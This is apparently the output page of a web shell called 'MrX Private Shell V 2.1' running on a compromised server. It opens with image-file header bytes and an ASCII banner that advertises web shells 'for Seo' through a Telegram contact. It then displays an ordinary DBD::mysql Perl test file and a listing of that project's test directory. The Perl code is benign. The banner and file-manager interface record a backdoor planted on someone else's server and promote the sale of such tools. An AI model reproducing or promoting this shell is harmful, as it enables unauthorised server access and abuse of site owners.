����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#! /bin/env perl
use strict;
use warnings;
#"set tabstop=4 softtabstop=4 shiftwidth=4 expandtab
use Data::Dumper;
use Test::More;
use DBI;
use lib 't', '.';
require 'lib.pl';
my ($row, $sth, $dbh);
my ($def, $rows, $errstr, $ret_ref);
use vars qw($test_dsn $test_user $test_password);
my $table = 'dbd_mysql_gh447';
eval {$dbh = DBI->connect($test_dsn, $test_user, $test_password,
{ RaiseError => 1, AutoCommit => 1});};
if ($@) {
plan skip_all => "no database connection";
}
# in case of exit early, ensure we clean up
END {
if ($dbh) {
$dbh->do("DROP TABLE IF EXISTS $table");
$dbh->disconnect();
}
}
# this is the starting index for the placeholder keys
# in the ParamValues attribute hashref. gh#447 showed
# the keys begin counting with 0, but DBI requires they
# start counting at 1.
# so, if this value is 0, tests pass under DBD::mysql 4.050.
# but the value should be 1, when the issue is fixed.
my $ofs = 1;
# ------ set up
ok(defined $dbh, "Connected to database");
$dbh->do("DROP TABLE IF EXISTS $table");
$dbh->do("CREATE TABLE $table (id INT(4), name VARCHAR(64))");
# test prepare/execute statement without a placeholder
$sth = $dbh->prepare("SHOW TABLES LIKE '$table'");
is_deeply($sth->{ParamValues}, {}, "ParamValues is empty hashref before SHOW");
$sth->execute();
is_deeply($sth->{ParamValues}, {}, "ParamValues is still empty after execution");
$sth->finish;
is_deeply($sth->{ParamValues}, {}, "ParamValues empty after finish");
undef $sth;
# test prepare/execute statement with a placeholder
$sth = $dbh->prepare("INSERT INTO $table values (?, ?)");
is_deeply($sth->{ParamValues}, {0+$ofs => undef, 1+$ofs => undef},
"ParamValues is correct hashref before INSERT")
|| print Dumper($sth->{ParamValues});
# insert rows with placeholder
my %rowdata;
my @chars = grep !/[0O1Iil]/, 0..9, 'A'..'Z', 'a'..'z';
for (my $i = 1 ; $i < 4; $i++) {
my $word = join '', $i, '-', map { $chars[rand @chars] } 0 .. 16;
$rowdata{$i} = $word; # save for later
$rows = $sth->execute($i, $word);
is($rows, 1, "Should have inserted one row");
is_deeply($sth->{ParamValues}, {0+$ofs => $i, 1+$ofs => $word},
"row $i ParamValues hashref as expected");
}
$sth->finish;
is_deeply($sth->{ParamValues}, {0+$ofs => 3, 1+$ofs => $rowdata{3}},
"ParamValues still hold last values after finish");
undef $sth;
# test prepare/execute with bind_param
$sth = $dbh->prepare("SELECT * FROM $table WHERE id = ? OR name = ?");
is_deeply($sth->{ParamValues}, {0+$ofs => undef, 1+$ofs => undef},
"ParamValues is hashref with keys before bind_param");
$sth->bind_param(1, 1, DBI::SQL_INTEGER);
$sth->bind_param(2, $rowdata{1});
is_deeply($sth->{ParamValues}, {0+$ofs => 1, 1+$ofs => $rowdata{1}},
"ParamValues contains bound values after bind_param");
$rows = $sth->execute;
is($rows, 1, 'execute selected 1 row');
is_deeply($sth->{ParamValues}, {0+$ofs => 1, 1+$ofs => $rowdata{1}},
"ParamValues still contains values after execute");
# try changing one parameter only (so still param 1 => 1)
$sth->bind_param(2, $rowdata{2});
is_deeply($sth->{ParamValues}, {0+$ofs => 1, 1+$ofs => $rowdata{2}},
"ParamValues updated with another bind_param");
$rows = $sth->execute;
is($rows, 2, 'execute selected 2 rows because changed param value');
# try execute with args (the previously bound values are overridden)
$rows = $sth->execute(3, $rowdata{3});
is($rows, 1, 'execute used exec args, overrode bound params');
is_deeply($sth->{ParamValues}, {0+$ofs => 3, 1+$ofs => $rowdata{3}},
"ParamValues reflect execute args -- bound params overwritten");
$sth->bind_param(1, undef, DBI::SQL_INTEGER);
is_deeply($sth->{ParamValues}, {0+$ofs => undef, 1+$ofs => $rowdata{3}},
"ParamValues includes undef param after binding");
$rows = $sth->execute(1, $rowdata{2});
is($rows, 2, 'execute used exec args, not bound values');
is_deeply($sth->{ParamValues}, {0+$ofs => 1, 1+$ofs => $rowdata{2}},
"ParamValues changed by execution");
undef $sth;
# clean up
$dbh->do("DROP TABLE IF EXISTS $table");
# Install a handler so that a warning about unfreed resources gets caught
$SIG{__WARN__} = sub { die @_ };
$dbh->disconnect();
undef $dbh;
done_testing();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 00base.t | File | 634 B | 0644 |
|
| 01caching_sha2_prime.t | File | 735 B | 0644 |
|
| 05dbcreate.t | File | 760 B | 0644 |
|
| 10connect.t | File | 2.6 KB | 0644 |
|
| 15reconnect.t | File | 1.55 KB | 0644 |
|
| 16dbi-get_info.t | File | 1.26 KB | 0644 |
|
| 17quote.t | File | 1.16 KB | 0644 |
|
| 20createdrop.t | File | 745 B | 0644 |
|
| 25lockunlock.t | File | 1.48 KB | 0644 |
|
| 29warnings.t | File | 1.73 KB | 0644 |
|
| 30insertfetch.t | File | 1.2 KB | 0644 |
|
| 31insertid.t | File | 2.3 KB | 0644 |
|
| 32insert_error.t | File | 901 B | 0644 |
|
| 35limit.t | File | 2.22 KB | 0644 |
|
| 35prepare.t | File | 3.31 KB | 0644 |
|
| 40bindparam.t | File | 2.87 KB | 0644 |
|
| 40bindparam2.t | File | 1.31 KB | 0644 |
|
| 40bit.t | File | 1.25 KB | 0644 |
|
| 40blobs.t | File | 1.88 KB | 0644 |
|
| 40catalog.t | File | 10.27 KB | 0644 |
|
| 40keyinfo.t | File | 1.99 KB | 0644 |
|
| 40listfields.t | File | 2.22 KB | 0644 |
|
| 40nulls.t | File | 1004 B | 0644 |
|
| 40nulls_prepare.t | File | 2.48 KB | 0644 |
|
| 40numrows.t | File | 1.96 KB | 0644 |
|
| 40server_prepare.t | File | 3.37 KB | 0644 |
|
| 40server_prepare_crash.t | File | 2.2 KB | 0644 |
|
| 40server_prepare_error.t | File | 968 B | 0644 |
|
| 40types.t | File | 3.44 KB | 0644 |
|
| 41bindparam.t | File | 1.02 KB | 0644 |
|
| 41blobs_prepare.t | File | 2.04 KB | 0644 |
|
| 41int_min_max.t | File | 6.31 KB | 0644 |
|
| 42bindparam.t | File | 997 B | 0644 |
|
| 43count_params.t | File | 1.93 KB | 0644 |
|
| 50chopblanks.t | File | 2.81 KB | 0644 |
|
| 50commit.t | File | 2.37 KB | 0644 |
|
| 51bind_type_guessing.t | File | 6.03 KB | 0644 |
|
| 52comment.t | File | 1.96 KB | 0644 |
|
| 53comment.t | File | 1.83 KB | 0644 |
|
| 55utf8.t | File | 3.1 KB | 0644 |
|
| 55utf8_errors.t | File | 3.56 KB | 0644 |
|
| 55utf8_identifiers.t | File | 5.53 KB | 0644 |
|
| 55utf8mb4.t | File | 1.04 KB | 0644 |
|
| 56connattr.t | File | 1.65 KB | 0644 |
|
| 57trackgtid.t | File | 944 B | 0644 |
|
| 60leaks.t | File | 7.69 KB | 0644 |
|
| 65segfault.t | File | 1.12 KB | 0644 |
|
| 65types.t | File | 1.31 KB | 0644 |
|
| 70takeimp.t | File | 2.64 KB | 0644 |
|
| 71impdata.t | File | 1.08 KB | 0644 |
|
| 75supported_sql.t | File | 1.21 KB | 0644 |
|
| 76multi_statement.t | File | 2.85 KB | 0644 |
|
| 80procs.t | File | 2.89 KB | 0644 |
|
| 81procs.t | File | 2.86 KB | 0644 |
|
| 85init_command.t | File | 752 B | 0644 |
|
| 86_bug_36972.t | File | 1.24 KB | 0644 |
|
| 87async.t | File | 6.09 KB | 0644 |
|
| 88async-multi-stmts.t | File | 931 B | 0644 |
|
| 89async-method-check.t | File | 5.96 KB | 0644 |
|
| 91errcheck.t | File | 485 B | 0644 |
|
| 92ssl_backronym_vulnerability.t | File | 1.46 KB | 0644 |
|
| 92ssl_optional.t | File | 1.47 KB | 0644 |
|
| 92ssl_riddle_vulnerability.t | File | 1.48 KB | 0644 |
|
| 99_bug_server_prepare_blob_null.t | File | 1.38 KB | 0644 |
|
| 99compression.t | File | 1.16 KB | 0644 |
|
| gh352.t | File | 626 B | 0644 |
|
| gh360.t | File | 842 B | 0644 |
|
| gh447-paramvalues.t | File | 4.15 KB | 0644 |
|
| lib.pl | File | 3.89 KB | 0644 |
|
| manifest.t | File | 290 B | 0644 |
|
| mysql.mtest | File | 950 B | 0644 |
|
| pod.t | File | 129 B | 0644 |
|
| rt110983-valid-mysqlfd.t | File | 724 B | 0644 |
|
| rt118977-zerofill.t | File | 897 B | 0644 |
|
| rt25389-bin-case.t | File | 1.44 KB | 0644 |
|
| rt50304-column_info_parentheses.t | File | 1.54 KB | 0644 |
|
| rt61849-bind-param-buffer-overflow.t | File | 711 B | 0644 |
|
| rt75353-innodb-lock-timeout.t | File | 2.96 KB | 0644 |
|
| rt83494-quotes-comments.t | File | 922 B | 0644 |
|
| rt85919-fetch-lost-connection.t | File | 2.32 KB | 0644 |
|
| rt86153-reconnect-fail-memory.t | File | 1.94 KB | 0644 |
|
| rt88006-bit-prepare.t | File | 3.66 KB | 0644 |
|
| rt91715.t | File | 850 B | 0644 |
|
| version.t | File | 406 B | 0644 |
|